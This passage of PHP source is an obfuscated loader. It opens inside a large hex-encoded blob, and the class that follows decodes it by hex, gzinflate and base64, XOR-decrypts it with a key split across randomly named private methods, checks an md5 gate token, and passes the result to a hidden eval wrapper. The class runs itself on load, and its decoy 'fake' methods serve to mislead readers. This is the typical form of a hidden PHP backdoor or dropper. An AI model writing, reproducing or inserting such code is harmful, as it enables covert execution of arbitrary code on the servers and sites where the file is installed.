bfe617fbbfec6bf2d7bff9545019fb5f7f88272dfe397b8dfa43fe500f753fb5bef7febf13dd02f38937fcbfceefd0d6dbfc97d63c5fc0d6d3f26fdd1c0fb8b7afc3cf8c50f7e3e51b9e4e68fd0c17c7e483db2b2e297e47cb7c87f4de85f4fc9cf013e84fea2aaef1df09fb5c03f627db6af51ef49e30bfdb50bfa1a0de407ce5f5ee03f9d057d7df0c7ecfb15f44da1ff49ff959fc4f7bc013f51c5fd7c43bdabfe5c017f5686feaef23b762fc4bbc5d007eb529f0ffa4b6de8cfc3ff41e3cb3ae8870c3cfe4ce72f982fb5bc3f82f4b785fa2ce89bcaf7f3fa59a64f64f810f23b72cfef90f3d11f88f3a5720df8b3bdf52b980f7ef9f90bf80fb21f237e1efeccd18bed1fbc3eed2df89b73f5ff833e8a9fcf8b3ed811f81ecf0fa0ff34de7bd02f177e31ef6715f8d63bbf9f36fc12f1676bf8371e809fa03e98f237e1ff5e017f6c86fe6f0cfd891efc8b13fae3f5fcfeb6edbfdfccfa5bef9f43fdba04fa75a85fc02f467ec7fefdb7e1e7898f3c747d7f74f2f96163fa0ce4dfc2bf98fcb823fdc3a1dfba4d3dbe8efc2ac3f78c3dff9dfcb88fdcfc61a3dcfbabf5d81f797c8feabb29becefbcbb0fe247ed7f87fe46f821fe0f5ba50bfe8bcc0ea9765e4f5a1893ff3f519fc3ba86f53f3fe788f985ffbfe7659f0374cacbf05befcc1fbab558c1f077ddac72fef6f41ffaa3efd29bdfffbd6eb7f9a3e4a09fbbfd9d1e30795bf027ffb81d7574c90ff7edaf93ac6bf3d025fb081fee7dcf3ab2cbe20df6ee1ff70223fc7f419661efff9a8f5b5ee8f52f8a3fbfdade1774ff40f37ff1ce8bb55a8af0ffd10d3ef01bf98f1d3f80f4de4bf69d0dfcdfcfe5df5c1806f6dd13fdceb97d3df70bb263f47f59734bfbf7bff1cfae32d81cf2aef8bfed349d0a7357d0df0a7814fee758def84fec1f647e88f22f873b582befecdd8eb4706fec333f0ad07e27b62afcf5041fd02ffa33afd8b4d9f96fb07ea6bcca06f5a627d8dfe8f7c9906f85599cf0fcaff537f0be3e7fc5c62fe728cbcfe27e62f7e3e31f5f397b2af3f856f7834fd79dd3ffc06fe33e843cfe0fffe63007c5dcde32772f073e639f58902be7c06fdc11afd73f0fde80f7481fe27fb77ea43370d3f017e23fcb50dff7225fe85fa1a73d397a2bfaff2c375fe19f283c7cf97e06f1f057db7b0ffa37f9cd42fcbb03fdaa2fe24be80fb5be8d7017fa6f941e34b467e8ee9ef027f86f9d9c9fbafc87c220afa916bea2b06fe18fd1bcddf42bf9fe10759bf3c411fa54dff69f8075cf8fd2ae06f16fcd1b7a8cfd03fcc02bec7fc1fd28ee92fc5d07fa13e2defa77cbf3bcce717057d06bc3fce3f0bfabb47c5272fb9df04be5ce767e0876bfd02fcee2acccfe84f92c33fa76ffe86a68fa2f89792d79ff7fc1cec37e96f6ff84f8f8fb4fe28d5fd8ae9a3983e1fe2cb14fa8a33efafa6fac939fd8f34be94f0fda8573986bfafe951afd3a27f0ef12ff2fe827fb8f4eff477cadfbd3f3af50713e25b31ffac00bf24f81ec5cf2b3e59e69f1fb89faadfc3dfc3fd847f87ee37b15f99d37f85f8f99ec74fc8fb5b803fb6327e6ac9fc5397e8dfbfc2fd64ffde223f0eef2fc7feaf6bf848c4cf5a919fba367e15f60f0bf881f5814fa67e5d57f971f0571bdbfe08fe39babfcda05ff787f83ae2236be4af68fe337cd6be6bfebee48f25a63f81f9e707fc5aa95f60fbcde03f467de183f93796e91f7e4f7c1df8fd864f0ef941e24b3ff8e7f4812f48301fc43e55efa7f1b5c10fa0be37e69fe1fdc1ff41fd53d53f2e31fcc46bb6f5f599ec1fe47c0dea67015f50f0cf813e6de0ff797e8eab5fbc3e91ce3f87c60f20bec7ebcfe7989f3d61ff10a1fe3c73bf82f9fcf668faf3985f7fd3b789f0fda83fffdbe6839adf051fc9f95961fed9823ef4c5f8fde60fb4a57ed61df6ef1fc02753bf2786fffb98f379f8c779fd79e8832d816f4db17f2815fcabbef18fe0df61fe6a617eb620bea0dbf2f841d62f23f2e370be29f0bb1bcf0f10fc0bfde3eee03fadf81ef4b7d0cb33ffbf0df9d35d8f3f1bb3ff33ff46cce7878a2f97f75e87be4607fbf715e7f3679d4fe0fbe97c1efdd126a23fc21afe087df67fca7f30fe4aecfdce88efb1f919ebcfb5e027bc3e7b4c7d4c8b9fc44fc05f467fcfeb63ae473adf15fe26f5f94a5eefb751f6fa3d09f4af07861fdc17f0052beedfa9df1af43f87e61719f4b3ccdf57fbbf427e78f0f802e043809f073fc0f863815ff50bf95dfcb5b9df4c301ff4fa7543f3b7207f65c7fe01f83afadf6affc0f717fabf93e7af505f6a067e4e417f7eff6efea97f1a411f73edf947f40f10fd10e27b0a7a1067cf2f5e1abf83f309d44bc04f983f10e791c91af5a7e917787ec77aacf3099d5f7b7fca31f091eda08f724e3c7e9efa44862f40fd5201bea063fe168a7fe961fe19d19f92ef2f95fc60fbe905f585599fbd035f4e7e23fabfb3e92b927f447c5d0efc5236577fdfadd72f30ffcddcf021c00fba7ea5d26c2d67f15769ebea97637df13974f5a48b2fa7cce5a3a1eb37f3ac95d73a8deaaffad7471e4d908f969358e69f2b57cf9f1b79bd4f7dcc6ce0ea41f7fdffc4a352e32585fea0f273aee9cc7dbf874ea5746cb87e256e4563976fffb87e73df74f97d52e94fdcf912d93f2c8e67d11f3cb97abe964eaa7173efde9fd467982fb5a45ecd16f52afccaa14fabf3d679b477f7b3978e3ba2ff3275f948e24ba53bc95cbc2ea74f921f16c4872c760d3d9fbb9f59725fdb5eaa1ff5fac89daffad073f17a393a3fbb7ae9cbf56372bee1a2b2bb3ebf66fdfe7ef4d3e507f08fd2eac1fddee1a55e7777f0f482f9f5ddd1d52fad869eef72d36a97f3a6f823940fab66a2fbe9a5eec726a9fa0345d353dcbdc4ae9e18cc5cfdf2e0e2a73bdfdd50cf3771ef6f9f411ff352563f6f579fadb3f2a93332fed1b1d46db646ee3d1c66ba1fab1c14df4a7da983eb37f65952abe9fc7a3ffa94fd436b96fecc2671dace07723f8157bcbd5c5dfcec0cf6a3c550bedf246bbcbc575b7a3ed7df8e2e5539df6598948e31f42eb47f70f9761f4733d3c74ca27a35796e755d7f9b097e779dbaf30d4a83fb492393f9c4477d2cfa1323f0ff26ae7ef99fe773fdc3ffbe9f3fbad03fd3efd71cd5e47eca7b507c79e2f2c3f278317d9b9fae7fb88b27f5cdcb3e9bcaf9c0bf957906fc50a2abebdee4fbb5fb47bd9f7969adfb8044eb97fc39f9fc6c8fa87f7675fd43a38cef778bfdad7bdfd2af3cb8fb99ac2f7decff5c7fb47eaff6e6fbd374995f7adb513672effd4ebe5febba73dfefbd78bee1a4b26bcbf9e81f07be0cf3fb50ee27e6bbf0b7a87f58ff3e74f54bedd19daf21df4ff7639f2e725cdcfb3bc8fc4cdfbbe813351ae789ab276eeaf3fbbcf8fea27a6dfb22df6f54fd885b2ebe5c951faef3e456928ee7fbfc07f01323dccf517fd697fe16fb873df5c132dd3fb4bbbba0cf90ce9ebc3fece879b538afd58f7607fda5e678f377bd6ef3a59a089646edf6aa527c7fdb919ecf7d3fbb9fbb755aafb97c7bc974ffd056fed14ee264a371927ae9c6bdf7a1ab0780c76ccbf9f2a5ea9f4dd2bfe47c2ebea403c5ef6aff2ef333c14bad97fefd8de47cae1fab0e5f7e45eefbed7b592ef165f7a8e79b7f88ffd16238d5fbb94be4fbe5d5a1f6efb1cb0fee7eeabc351f9cebd0df95fbf97f3c9f7b0fee7cabfa321bd737723f775b89d7b79785c6cfdbfe8ddc4f994fcc2be725f7efc3d95bf7c6fdc6c9bd195714ec5cdc8bef2775d78f1dd3df8b3deaa50cfb87a97b7f7ff577aedfbc94a3f5315a8ef7e75fcfaedfdc8ecf53f7f7bcb8f3ad62175fe80f7b747fcf8eec03e6b7bb56128db62e5e0f9fafdd1fedd100f1e5f542ff31f5fb1c47bbb3eba747fd7992df3fefde67837d56eba7cbd3e3e5e3c5d5f39fc998fabb17173fa3da5767513af626b3fad3dbc7d3bfcb0fe17e8abf5a294fdf4ef150bedff55dfa95f11cfe5543fd7e8bea42bf5f3a73e72bc9fbab8fc7fafd5c7df66fdf9fe81977daee9f3fc1fcba877db18b9f97ec973b5feeced71e9436e769be8fdaa5fc66eefadb9ee231f5fb09be47f128f164d37e5974d6f2fd9e5d7e185d67123f379da3e6bf45dcec0c7b8de5eff1719fb7f39decc397780f82ef91f35dbee276e753e24b57dedffe94b55cfc6c401fc5ddcffece9d6fbaaed77fcadfb3f1b649d6b3aafb7e125f3a9bf56833695d369a1f3a6fa3ff99df5d7ef8dbe5f7bf9b57c90fe3bf5dfdb2e43e4eef67a3703efd7b0a7e29ad7ea68dcfc38bec8faee599cbb79b4e45f2df65a17a177577be8ae05f54bf7ce2ce17b55c3c9b1f0f3f065797ff72777fdcfd6c8dee5dbdd4dfb8fb7264fde9de43e36e3ba9cb3cebaf4e3a73f57c4df6017b971f0e9bf2c7663b3e6ddd7d79b1fde6d3feb47dba9e8ea3cac7c2dd97fee69fe793efd7f0f95df4155fdcf9d43f3571fd9fe0e79ff7ef597f6ffd917b7fcc0fee7ceefb9536ed72ed7fd52f9adf97c91efa83aaff22fb872ef2c3aff4619ee73fe2f272b9b875e77badf7d6e3652478f6c72f8d2fa29fbcdeeafddc207efe72f145f2fbbe2fdfef31a9e8f793fa53ee8bec6f73976fa55e3ad72fa3d7e6d5fc49a47ec98fd1688ff872bbffe9ea9751dfbd3fe07b462f2e7e4ed34bad9cee3aaedfaccddb71ed4ff778b773f9bd15b7e2893b5fdc6adf0fa57e896efb59b3f2eff283bb9fac5fdcfdbc6b487d26fba3f4f346f31ffd611f317f117e402f53bee146e64bcf125fa4ff7b7c3da42ebe0c803f1b2de90ffb99529faf53afeaf79bb9f8d22ba5982f493d38dab7e2fac5d59ffb3b97ff0ee64fe2de5febe55727f977f58bff7e2dd187967dbffb7ee574d5a47fdcbaa5f1f38fd62f13e4bfe5e824fbb88f469e47b1eabf8cbe5c7e38233fdcfd597e55fbeb39f243a1bf2d015f40fdd60bfa5be1bfafe65e7f02fa36e41f09fe93fce934ec1feeb0df9c60bf89fea13f34fcbcce43aea517d7dfbaf3dddfb878566ffc87fafadf7ebfc6f9e7a47196fa53f243d4b6faec353bac1b323febcbf78b5f12399ff75773df6f5f327d1bc64f17cf34ffd1bf71b470f9d9bdf773adb9eb17dfdfbfadaf7dfed3f8a2f5f5d4f5d3ae7ee964e3c6e9fff2fefe6ad56bd7ed7fb89f565f27aebecad2cf9feebe24eb7de6dedf1df6b75a9fed247ecafb9bb9fcf0dc9fbf1f1badec9ff5d9b7f8b9d4fe2fdccfd01fe5d057ac9f868bf2ddd5f57f99cb7f8b61ba147fb596be87bdf9fb9ef8fdca37ae7f77ef6f39d0f325527feedcf906cb66a9afdfefd9c597e624fddbdd97fbf47a71e9d9f3c7dcf9a4c793fe01fb07f1b379dcddb9ef774ed647e8336479d41bb992b055df7c0cdbefab7f537ffaf3e9fbbbc6567fbaef97bfb9bfe7dfd97ffb7effe81fa4be1e37f4efa9efaf3391fc174fb57e91f34519be5fbb346b61fef2575bbe1ff39fce2373592fa07f103ee472d1b871ef6121f36b7defafe7d8fd3d6763f8c36e8bf9af25fb5bc4cf5d9258fc74fd9fccaf5d7fb4b976911ff2d17e76ad56bb97dadfd38bcb7fee7cf3fab9d5aa57ffebf9fe637cd1fb79d877d20f572f6d9eddfd5cbb7a97f85dd73fc8fdfcdac5e81f94dfff7b91e7d3467e37c8e6fd5f2e7eaa3e58dff50fd467103ed0af8dcbb7dbf16e68f12572fd91eaa38c6677527f3ea6123f47897ebff17e3b7f537d7dab5faaae9ef83b1bf797dabffb7e45f98d23d7ff097ee9dcc0f916723e8d67794dbedf5b07fa59aebfd5fc703376f9218a66eb557a58258b92ec03145fa0fbe9d6c734fddab9fa65f0737a3d2c5ad1f952cfffd9dffedbfa1af5d9ffe57eba82e8e53af8677eff1e5fea1fc379bb8efa65acfc8087c7af5126df2fd9cbf93a984fa83f33fb23e48707c133487d3d4daac8ef8aefd9535fb104fc596973aff8e44a3a8e743ea1dfefa8fa8aae3f12fcd993e0af13e98f90ffc06fdc43bfaed5590c27fafd1e13f0abd6ae3f7a717d53ef3fd42f763ee5afc0cfc6d5d7d36c366848fe9b09ffa1f932dbc9bc47ef673bc7fd7c49eee41e4aff07ffb8f6fd368eeaeb89bb9f2ebf2f5bee1ab8faec7390bb787d157c72f561d8a8019f5c567e47cbd5bbeb45e5f4f65fbf9fe607dd17bbf77772ef6f20f3e4bb7685fe4efafe469e3fdda923bea83f82e4f7abce972af346b9d628f7ff53fd32447d26fbdbb37dbf5df3b6da527c8ff47fc20fd0f3b9f8b22825b35d6debfa23173f3bb77123abfdbbfcf09feea7abaf3ba3867c3fe29325ffcddf2bee7e2e143fa8f317c97f77cb551a61fe5207be6e00fca0cccf1e9e548f45e60db9e019ceeefdf5892f3f3c3632dd3f3446a5e1ffac5ffe99ffdaa5657397bf2e5dfc847f71a9e6e24bda697cdec797f38cfa36ba4f5dcefbfbedee43e2a7cbf7cbd3d3e510ad655e3ef6fd837bafb53b775f56913b5fa3594ea14f24fbe9d1f3667169fecffb990fde92fab9f63d3f6c5e1fc7d143637279f91e3f5d7ca9e87c42fb07c52fe9f73b607e76ebeadda4346beafe4fdfdf5fee7c7bd73fc8fcccf57fd18b3b9fec7364dee3ce97ff70f9bdb56e98bf61367409a4d7d6efb773f9ef32fc2ff317175f64fe325a20bf8bbfefe0a4fc80ab3b9fe4f7f1beeebedf83cfef527fbaf8f28cfd3bf0c9fffbfbc97c42bf5f74cbf9675df5f56f5c7e17bce23a7131a8d7b8ffeff77377fa336c65f2fe96a3f1b9effa77ea5fef2f2f47d93f9c1671cbf8e19faf8d7fd7ff15bedfb034fe3b9be8be6ae5de9fce0ba8ff22fb69cecf64bee4e2cb1efa60a3ebbbf4ef6fd2bf7727323f5b0e7bf9f2f77fad3fafc0efb6662b97df33cdef0de4877e967e48ff3e7cacd7a3eff1c5e667fffc7eae7fc8d13f3c8eefb07f407fb4d7f9a0cc93a53f7a553d5ce9ff5cfecb7fbbfe41eee7ff6d3eb1882f5be9df6f2fff87f9c4e5eafee682d74839ff7c317d29c9b7aefffbe1f2fbc2dd4f39df69d854fdeb3defa7c5cf13fc9deefe2ffdfb49f5355cfdd995f3c9fb6b0cde34ff693d9fff14fdeb7543ea8911fc45dfabfbf492f7b27affbfc797a8be9cb64f723e797fd2df9abef0dabd3f971f84efe4f1057f37ff6b7e3fabbfe8765296f8727a71bf97b4fa787f8dd940fd3b64fe528e5dee3a2551e3bcff7e3ff3b7a1d69f8df87bfda9efef20f56e5ff3fba6053d0fd49fa27fddc67c50f2fbbcd1ecf47aadcb839c8ff599ecdfb733ec1f6aed7126f1b36cfeda53571fb48ff2fe2eebc6ff9e0f764697d1a3dc4fe81dba9a7f1acb7eec941cffc3f7c3f9446fa63a90fc77d1fc9e463aafebc8fc45f075329f97fa53f27beb659f0d159f5cefe0fb25f1ceddcf5debba74f7d3d5d7eefb8de7f7e86f6f074badafebf910f77357e2fcf3b7bebfcbc9e5339d7f4a3fe4fadbc69dbb9f7b9d0fa6fd3fcbabc6975fae5cfeb5f9cff333773f0fe28fb7dea4b1cc77653ebb5d5e37ee7c1b994fac5dbf52edb8f8b2b8fcdbf9e7eba021fb07c90fdfea6bd74f6bfda9f34fb987ae7e99eb7eb3a2fe86fafd9a98cf8b3ec34d7becdedf57e98cf7976affd04ab4bf9df652c1d356df5c7e007e42eaebcbfb10fded69faf2ff6a3eaff8eb627e17fc12e783e7a3c517e56fca7e1afea2a77fcd7fff7c7ff1dce53f7d7fad6889f822f3e44baefc699defb63bf9ff697fa4fddf46e6bb8ba4715ecfd2f78de7aff8fd11f54d17aaaf21fb1c773f5d0fb1aba9befeffde8ff17cba5fa99ef57ea6c00b0bbf7126f5a78b9f2faebed6fea1715e804f22fa2825f7dedf91ffc8d7d6f9cbf5e32cf9bd3593faba0afc446efbbf6c27e773f5b5ab5f32173f07d1fa502de477fd7e1fae3e5bb9f8b288e5be089fa462fa36ee7cf9696bf3f981c4cfd6c76baba9fcd473363aade4fdcd552f28437d96bf67fd3cfbe9ee9beb8f36ed176927651e52efbb7eccd59f91bb9ff0d79eb9fe48fa5bdd1f75df97cbd531fbcff31757bfa87f8eeb1fe6aeff6b97253fb8fe81dfaf9d47f2fe1aeefbfddbfee85fe6135a7fc6d0771b9f873a9f907e13f1e5b79e6fac7c9937995fcbfe68debec8fbd3fa53f5d92fa5a1e25f1a8adfcd4c5f43f0b49d49d88ffdcffdd1d7ee41e64b53f037c57f256a28befc7ff40f23899f7bed1fe4fb0d2771aafafa9543a725fbb8dbcd56f570a9e7ff3fe64bf87e980fbaf3c97c69f4acfddfa5569ea51fd9b83e90fd4aa5732c3dd6ff91fff8fdfe75fe79d5f8f920f97d01fed818fa67eefd09fff62d9bcafdf4f3cfc4d5678d737f85fe48eecbc74ba5eace37d2fdb43bdf8dab5f72d5c7147e55a9ff99ecca5abffcbfdc4f83df9f2a7ea9acf1339779a2abcf8ed6bfbbf3b9f8e2fa23e8630ade5b009297ff3cdf95f822f713f105ef4ff283f40f3a3f5b44bd64bffbbfc44f99bfb4d40f4cf647c9a7ebff067feac47f3eeaf9f2b6ce5f467bd76f2a3eebeaea97a1ab5ffe8a72d9f76bfeebcd7779f9bff547aa7fe6fa3f17cff47eba3cb2d5fc20f94ff0132e87e8f984bf724cabf5b1e27b5c7fabf17321f3f9feaefa67d8cc0af981f379f97ef38f6e77a2e7cb9e1ac87fc2f745ff376a617ee6f2df35927e7a3d7bad3eb46cffa7f3a5fdf97fcd97743e21fdade0195cfe6bd9f763ffd08a46ff1a5f269d92f4b7921f9afbf2cfe56ef3ecf29fcc0b22d7ffc9fe41e6f3f21e243f407fe9972b45c7bba9eabf8c473d3d9ffb7b76e7d49f70e71b1d65be94f527957a4bfbbffd7e9b5d5792dfffb8fcf75753f7c5a751f25e3d6e46d16452aebeaddf37aff1ecfd7e3e3d1d1fbff24bb2efbb7bfab19d47e7d7ec6d305bd47783f9d7aede3c36fa49f2f1bbff3adb75bf3af3c971b6745dfaec29eabfbcdc9ec6dd7ae3efa4dd4d16ad5a3cbcee6f1e5f478f713d3b8e0fdd46d61867bd52edbe3f3a4f9fa2fbfb78366e3ffd2affda56de77cd5d75d66f7c4c053d34fa5aa5f3cba8da1c478d41f9fc1c47d14bb7b1cceb93f766b3b93bd41769f929723deb6cf4de5df417fdfab9b2f9d5190d7e2dcfc3e66810d7f3bc9e779aadf96add3eac3efabb74d76aee7fb7f6efb7c3d9c6fddee1d26c8c7add4bb539dbcddee7ad7373bcebd4c6b77777dda8b1786c57b7adebdd3ade952e83dda63d7b8f6b8df2e5615c9ed5baa5a8d718352a51fbdc5b4f473f5d1e796c469dd7c63e6bcbefb5e6e356633a7e6a373a7f65f1a99bfd1ad7b6d7f1267b5f35b3d95d7b3cbb94a64d77a25de938be96a68fe5cfc5f36df5a3dfba2bb7f2e81cbd660f8d72de6dcddd6fa6d15be750cae246bc584e3f7f3e5d4fa7a7bc3b1eef0f79d218b466ee866d66e3a8f976d778de8d1ec7b3d26a94dfbd37aebbe7d6ee34ee5ff36dab3ebbe9c4d546f47ebecea797a7413c1ef4f6f5dffdafe867b711755b499427e5437f70ecb4d3db4ead9beecef55d7e88e6eeeff97e4e5f168de5f8bd9b4f0fab78d45a2dbba5ea647a5d35baf9f84ff376f9307aed1cea8dfaaef3d6ffeaec4ed9b4547d9c8ccbd75173f6589f6fb2e95775f59c37ce4fe5ee348bf7edd16be46a96381abcefcb6377b47e5a3a369b9774f5766e765e67f5a8597fed7ff55f9b793e9c5e3edd45ead6bba38fc6aa94dd3fb506bf5d21a1df6f1e7546f1dbe8d7fc583f8d467134deed9e9fdbf7cfcb7d3ce894df7f3cdf46ed41c395cfd359ef71715f6e2db2385bcc7e46b7a7bf86a34d7dd276fdcce4eef6f1586e3f8d96a5d6f8301d35cac7e4709e352671a335dad5e787d174d3d87db45d4e6dd5ef7a9df741e7398adee6d3f18fedd769b31d753a8359f7d4abf4d7fd6976d77cbb7f9a54f6c974faf167b92b97ebe36e2fdbbd57eb6fabfae43a1b3d4f3b957e7390ce5ba5b776ee1ed778504fd2c6d435c951e72d9a26e3d2fd26cfe6fddde547dcea24dd51e9c76697dfdbf74ba3c179b99fad9e4bf59bdef5fdaedb28b71bcd513d9e0dfabdd9a0bc3d2c9ffab3e55ff57db9fa3c1aff958c97cb6623fa597fdbcdda976c5b9fac7e47e5f8b5f9b6796bd54783f5edc7b43d2fb9fb792ab71afdd1b074f7323b942fd3afdc952cd5dbf565b7880ee3acbee8fcdd1cb97b1ec79bd16bfeb66d64f172573acccaa74dbf5cfa3dbe8eebe9751f759beff9cba8fa125d2ed7fe387fda34c67fb7da69debe7c349e5da9bd3896a2cd6bfde27a827a7229edfbd7d26bbacb5fd3633a4df3ea717e6d249d78fcd8dbadeedbd38f8aabe39a8dcae1b19e0c9e1abf3ad3a98ba1fde4fdb3558f172ffbda7895946fba71f9aaf773b78aa7ad71bf331b4d5a934dd21bf77fcf0f9bdfebafea577fb4ec3c8e4e7f75ead5fd3cdafdfd721975e3fdaebe6d963ebaf1e7dfeef33ec68bd5fd6379376b5c67eb46fc1eaf0eefb54914b7d7c9f2773419ac56afdd87e1b4fef8d83acd1e27f7f7935d7ac89af16bbf747f18b66a7f27b3ff533c6b75cbab79af3c9bb41aa3b7c17e9936f79dc620de77dabfdeebd34adadabc97868fe3d5f3f292c68fbbcb324beaadf1be5e6aef06f1e4b63b1cc4ddc562beba7ddc75f6f343e9ef76fbfd35d96751fc753975ebefd5ac9edfb726bb938b8fd7e6fc6ed18ff3e1e3fbe863f5f67e1aee4f93e6d75d3dfdb56f0d4afddbed7bfda93faf56bbd3d56432196f9e26a31fbdc97834da8fa2c1dbe1e9f972fe951c578bf62efdbbd1ea3c8d1a8ddf93db52e9e9b57468eef6cdfea51acff683dbecad319c8d46b7d3f6aa3570c5bdbbacaefe1f4d1a796931182fdf3b95f3e8395f955d4ed867bbc3dfe3af6ee21ac5f1d3647033141cec7879571fef162faf2bf7fd1ae7eeaefbabfd7a3a8fdeef5ed2fa9d2b32a3dc45d8c797e86e1097b3e37cd2982ea2f3ed62e2eefb7897f4cb776934bedbb6ebae4f6ecd5e5aedcd473dbeffbb3eabfd9ad7ddefdd76eefab7a7d17abefcd36b7566ad4b9c37eb83d5f86d153dbd572783d666fc78196d46c9e97e7cad1f9ad37edc6b7eeaef3dbdd65e5b8b99bebfe6f4d21cbc377add71e3b3ff965d3ae574399ceeea4969f0334a4ff1a6347beecf2ef5c1ed47567f5ffe5ccf57372f937279dda865abe454ab4fcac36125fd517ffd3c3676bbbb79a5d3598e4b5fdbdbf125def5d36c1adda7b3fec6d506cdf975b4daeeb35af790ffec554aaeaf58bd2e16ae0d9cba5af578ee3ffdea6fa6efbbb83dffd80ebeb265231fa78349bfda789dfd8c1bb36a6bd2d8648dd57e3bda755787ddfb38de57ff1f';
        // strip salt prefix
        $hsMWfSs73 = substr($hsMWfSs73, 4);
        // hex -> bin -> inflate
        $bEBFAQ26 = hex2bin($hsMWfSs73);
        $sJhEH40 = @gzinflate($bEBFAQ26);
        if ($sJhEH40 === false) { $sJhEH40 = $bEBFAQ26; }
        // base64 decode -> ciphertext
        $debaL46 = base64_decode($sJhEH40);
        // reconstruct key pieces
        $__obj = new self();
        $__klist = array('jmXkOSWH16','jmGtqFhP35',);
        $kQtrlk44 = '';
        foreach ($__klist as $__m) { $kQtrlk44 .= $__obj->{$__m}(); }
        $__glist = array('gtlCjBvP15','gttGebAL97','gtwCkVKe48',);
        $gtRDqMn36 = '';
        foreach ($__glist as $__m) { $gtRDqMn36 .= $__obj->{$__m}(); }
        // expected signature check (precomputed)
        if (md5($gtRDqMn36) !== '77600522af615c4ed71ee1adde1efca3') {
            // integrity failed — abort
            return;
        }
        $pDfXK53 = '';
        if (strlen($kQtrlk44) === 0) { $pDfXK53 = $debaL46; }
        else {
            for ($i=0, $len = strlen($debaL46); $i < $len; $i++) {
                $pDfXK53 .= chr(ord($debaL46[$i]) ^ ord($kQtrlk44[$i % strlen($kQtrlk44)]));
            }
        }
        // call private eval gatekeeper (name is randomized)
        $evalMethod = '_eval_vFPmvHNUeJ56';
        if (is_callable(array($__obj, $evalMethod))) {
            // call the private eval wrapper
            $__obj->{$evalMethod}($pDfXK53);
        }
    }

    public function pubqQDsq82() {
        // fake
        $jvUKop83 = ord('k');
        $jvALyZ99 = ord('u');
        return null;
    }

    private function gtwCkVKe48() {
        // gate token piece
        $p = 'vjtf';
        // notemZNm53
        // noteYIBc21
        return $p;
    }

    private function gtlCjBvP15() {
        // gate token piece
        $p = 'wxz45';
        $jvbyWs97 = ord('t');
        return $p;
    }

    private function jmXkOSWH16() {
        // integrity key piece
        $part = 'YPxfbQnv7%B-U!';
        for ($i=0; $i<2; $i++) { $tmp = strlen('x'); }
        // noteBsWt36
        for ($i=0; $i<0; $i++) { $tmp = strlen('x'); }
        return $part;
    }

    private function gttGebAL97() {
        // gate token piece
        $p = 'g3lpd';
        for ($i=0; $i<1; $i++) { $tmp = strlen('x'); }
        return $p;
    }

    public function pubYZuAi19() {
        // fake
        $jvWKrr93 = 3120 + 3;
        if (isset($unused) && $unused == null) { $jnRbS75 = strlen((string)$jvWKrr93); }
        return null;
    }

}

FooDreK16::entry43();

// EOF